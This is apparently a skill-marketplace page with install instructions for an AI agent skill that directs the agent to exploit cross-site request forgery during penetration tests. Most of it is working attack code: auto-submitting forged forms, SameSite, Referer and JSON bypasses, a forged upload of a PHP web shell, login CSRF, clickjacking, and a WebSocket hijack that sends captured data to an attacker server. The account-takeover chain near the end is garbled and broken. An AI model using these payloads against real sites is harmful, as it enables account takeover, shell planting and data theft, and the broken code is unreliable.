用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill csrf命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | csrf |
| description | Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing. |
| keywords | ["csrf","cross-site request forgery","csrf bypass","csrf token bypass","samesite bypass","json csrf","csrf poc","anti-csrf bypass","state-changing attack","forged request","csrf token","login csrf","cross-site request"] |
| tools | ["burpsuite (CSRF PoC generator)","curl"] |
| opsec | low |
You are helping a penetration tester exploit CSRF vulnerabilities. The target application performs state-changing actions (password change, email update, role modification, fund transfer) without properly verifying that the request originated from the application itself. The goal is to demonstrate that an attacker can trick a victim's browser into making authenticated requests to the target. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[csrf] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
CSRF testing benefits from browser tools because browser-enforced protections (SameSite cookies, CORS) only apply in a real browser context — curl bypasses them, which can produce false positives.
browser_evaluate to test SameSite cookie behavior (check if cookies
are sent on cross-origin requests in a real browser)browser_open to load PoC HTML pages that submit cross-origin requests
— confirms real exploitability with browser-enforced protections activebrowser_cookies to inspect SameSite attributes and cookie flagsbrowser_screenshot for evidence of successful CSRF exploitationCapture the target state-changing request and identify defenses.
Look for POST/PUT/PATCH/DELETE requests that modify data:
# Capture a legitimate request and check for:
# 1. CSRF token in form body or header
grep -i "csrf\|token\|_token\|authenticity" response.html
# 2. SameSite cookie attribute
curl -sI "https://TARGET/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, SameSite=None, or absent
# 3. Referer/Origin validation
# Send request without Referer — does it still work?
curl -s -X POST -H "Cookie: session=VALID" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "email=test@test.com" \
"https://TARGET/change-email"
# 4. Custom header requirement (X-CSRF-Token, X-Requested-With)
# Check if the endpoint requires a custom header that forms can't set
Test the CSRF token validation for weaknesses.
The most common bypass — the server validates the token when present but accepts requests without it:
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
<!-- csrf_token parameter completely omitted -->
</form>
<script>document.forms[0].submit();</script>
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="csrf_token" value="" />
</form>
<script>document.forms[0].submit();</script>
Use a token from your own session in the attack against the victim:
Some applications use a single token pool. Extract a token from one endpoint and use it on the target endpoint.
Check if the token changes between requests. If it's static or follows a pattern (timestamp, sequential), it can be predicted.
Some applications only validate CSRF on POST. Try converting to GET:
<!-- Original POST with token validation -->
<!-- Bypass: same action as GET without token -->
<img src="https://TARGET/change-email?email=attacker@evil.com" />
If the session cookie uses SameSite, determine the level and test bypasses.
No protection — standard CSRF attacks work:
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
Lax allows cookies on top-level GET navigations (link clicks, form GET submissions, redirects). POST forms and subresource requests are blocked.
Bypass 1: GET-based state change
If the endpoint accepts GET:
<!-- Top-level navigation with GET — cookies sent with Lax -->
<a href="https://TARGET/change-email?email=attacker@evil.com">Click here</a>
<!-- Auto-redirect -->
<script>
window.location = "https://TARGET/change-email?email=attacker@evil.com";
</script>
Bypass 2: Method override
<!-- POST endpoint that accepts _method override via GET -->
<a href="https://TARGET/change-email?_method=POST&email=attacker@evil.com">
Click here
</a>
Bypass 3: 2-minute window (Chrome default Lax)
If the cookie has no explicit SameSite attribute, Chrome treats it as Lax but allows cross-site POST for 2 minutes after the cookie is set. If the victim just logged in, a standard POST CSRF may work within this window.
Cookies never sent on cross-site requests. Bypasses require same-site context:
Bypass via sibling subdomain XSS: If you find XSS on any subdomain of the
same site (e.g., blog.target.com), you can launch CSRF from there because
it's same-site.
Bypass via client-side redirect: If the target has an open redirect or client-side navigation that can be triggered cross-site, the subsequent request is same-site.
| Request Type | Strict | Lax | None |
|---|---|---|---|
Top-level link (<a>) | No | Yes | Yes |
| Form GET | No | Yes | Yes |
| Form POST | No | No | Yes |
| iframe | No | No | Yes |
| AJAX/fetch | No | No | Yes |
<img> | No | No | Yes |
If the server only validates Referer when present:
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
If the server checks that Referer contains the target domain:
<html>
<head>
<!-- Send full URL as Referer so target domain appears in it -->
<meta name="referrer" content="unsafe-url">
</head>
<body>
<script>
// Put target domain in the query string of our attacker page
history.pushState("", "", "?https://TARGET");
</script>
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
The Referer sent will be: https://attacker.com/?https://TARGET — passes
substring checks for the target domain.
The Origin header is harder to spoof. If the server checks Origin:
When the endpoint expects JSON, HTML forms can't set Content-Type: application/json
without triggering a CORS preflight. Use these bypasses.
<form method="POST" action="https://TARGET/api/change-email"
enctype="text/plain">
<input type="hidden"
name='{"email":"attacker@evil.com","ignore":"'
value='"}' />
</form>
<script>document.forms[0].submit();</script>
Request body becomes: {"email":"attacker@evil.com","ignore":"="} — valid JSON
if the server ignores the extra field.
<script>
fetch('https://TARGET/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"email":"attacker@evil.com"}'
});
</script>
No CORS preflight for text/plain, but the server must accept the request
without Content-Type: application/json.
<script>
navigator.sendBeacon(
'https://TARGET/api/change-email',
new Blob(['{"email":"attacker@evil.com"}'], {type: 'text/plain'})
);
</script>
If the server parses JSON from form-encoded content:
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://TARGET/api/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('{"email":"attacker@evil.com"}');
</script>
<script>
function upload() {
var file = new File(
['<?php system($_GET["cmd"]); ?>'],
'shell.php',
{type: 'application/x-php'}
);
var dt = new DataTransfer();
dt.items.add(file);
document.getElementById('fileInput').files = dt.files;
document.forms[0].submit();
}
</script>
<form method="POST" action="https://TARGET/upload"
enctype="multipart/form-data" style="display:none">
<input id="fileInput" type="file" name="file" />
</form>
<script>upload();</script>
Force the victim to log into the attacker's account:
<form method="POST" action="https://TARGET/login">
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="AttackerPass123!" />
</form>
<script>document.forms[0].submit();</script>
Impact: Victim is now authenticated as the attacker. If the victim enters sensitive data (credit card, address), the attacker can retrieve it from their own account. Also exploitable if combined with stored XSS in the attacker's account.
If the app uses double-submit cookie pattern (token in cookie must match token in body), inject a cookie via CRLF or subdomain:
<!-- Set cookie via CRLF injection in a parameter -->
<img src="https://TARGET/?search=test%0d%0aSet-Cookie:%20csrf=attacker_token"
onerror="document.forms[0].submit();" />
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="csrf" value="attacker_token" />
</form>
WebSocket handshakes don't have CORS protection — cookies are sent automatically:
<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onopen = function() {
// Send commands as the victim
ws.send(JSON.stringify({action: 'transfer', amount: 1000, to: 'attacker'}));
};
ws.onmessage = function(event) {
// Exfiltrate data
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: event.data
});
};
</script>
If the target is frameable (no X-Frame-Options or CSP frame-ancestors):
<style>
iframe { position: absolute; width: 500px; height: 600px;
opacity: 0.0001; z-index: 2; }
.bait { position: absolute; top: 350px; left: 150px; z-index: 1;
font-size: 24px; cursor: pointer; }
</style>
<div class="bait">Click to claim your prize!</div>
<iframe src="https://TARGET/settings?email=attacker@evil.com"></iframe>
The victim clicks the "bait" text but actually clicks the submit button in the invisible iframe.
Once a bypass is confirmed, build a complete PoC page.
<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body>
<h1>CSRF Proof of Concept</h1>
<p>This page demonstrates CSRF on [TARGET]</p>
<form id="csrf" method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
// Auto-submit after 1 second (for demo purposes)
setTimeout(function() { document.getElementById('csrf').submit(); }, 1000);
</script>
<noscript>
<p>JavaScript required. Click the button below:</p>
<!DOCTYPE html>
<html>
<body>
<iframe name="csrfFrame" style="display:none"></iframe>
<form id="csrf" method="POST" action="https://TARGET/change-email"
target="csrfFrame">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.getElementById('csrf').submit();</script>
<p>Loading...</p>
</body>
</html>
<script>
async function chain() {
// Step 1: Change email
var f1 = document.createElement('form');
f1.method = 'POST'; f1.action = 'https://TARGET/change-email';
f1.target = 'frame1';
var i1 = document.createElement('input');
i1.type = 'hidden'; i1.name = 'email'; i1.value = 'attacker@evil.com';
f1.appendChild(i1); document.body.appendChild(f1); f1.submit();
// Wait for first action to complete
await new Promise(r => setTimeout(r, 2000));
// Step 2: Request password reset (goes to attacker's email)
var f2 = document.createElement('form');
f2.method = 'POST'; f2.action = 'https://TARGET/reset-password';
f2.target = ;
..(f2); f2.();
}
();
STOP and return to the orchestrator with:
Strict, Lax, or None)text/plain encoding (no preflight)application/x-www-form-urlencoded with JSON bodyapplication/json (preflight
will pass if CORS allows your origin)X-Frame-Options)<meta name="referrer" content="no-referrer"> to suppress Refererunsafe-url